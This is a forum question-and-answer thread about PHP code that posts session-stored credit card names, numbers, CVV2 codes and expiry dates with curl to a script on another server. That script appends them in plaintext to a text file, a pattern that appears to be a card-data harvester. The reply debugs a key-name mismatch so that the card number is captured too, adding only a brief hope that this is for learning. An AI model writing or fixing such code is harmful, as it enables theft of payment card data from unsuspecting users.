malik papu
malik papu

Reputation: 11

Sending post data via curl using php

I am having problem in this script. The problem i m facing is when i send a large amount of data in a variable like cc_no = 3654785698568 i get blank on text file where i m checking it. Others variables are working fine.

session_set_cookie_params(0);
session_start();


echo $cc_name = $_SESSION['card_name'];
echo $cc_no = $_SESSION['card_no'];
echo $cc_cvv2 = $_SESSION['cvv2'];
echo $cc_expiry = $_SESSION['expiry'];

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL,"http://example.com/db/get.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,
            "cc_name=$cc_name&cc_no=$cc_no&cc_cvv2=$cc_cvv2&cc_expiry=$cc_expiry");

// receive server response ...
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$server_output = curl_exec ($ch);

curl_close ($ch);

The code which is catching the values on other server.

<?php

$fp = fopen("formdata.txt", "a");
$cc_name1 = $_POST['cc_name'];
$cc_no1 = $_POST['card_no'];
$cc_cvv21 = $_POST['cc_cvv2'];
$cc_expiry1 = $_POST['cc_expiry'];

$data = "$cc_name1 | $cc_no1 | $cc_cvv21 | $cc_expiry1 \n";

fwrite($fp, $data);
fclose($fp);

?>

Upvotes: 0

Views: 279

Answers (1)

Alasjo
Alasjo

Reputation: 1240

$cc_no1 = $_POST['card_no'];

should be:

$cc_no1 = $_POST['cc_no'];

Edit:

I really hope this is for learning only. CCs should not be handled this way, especially over standard http.

Upvotes: 2

Related Questions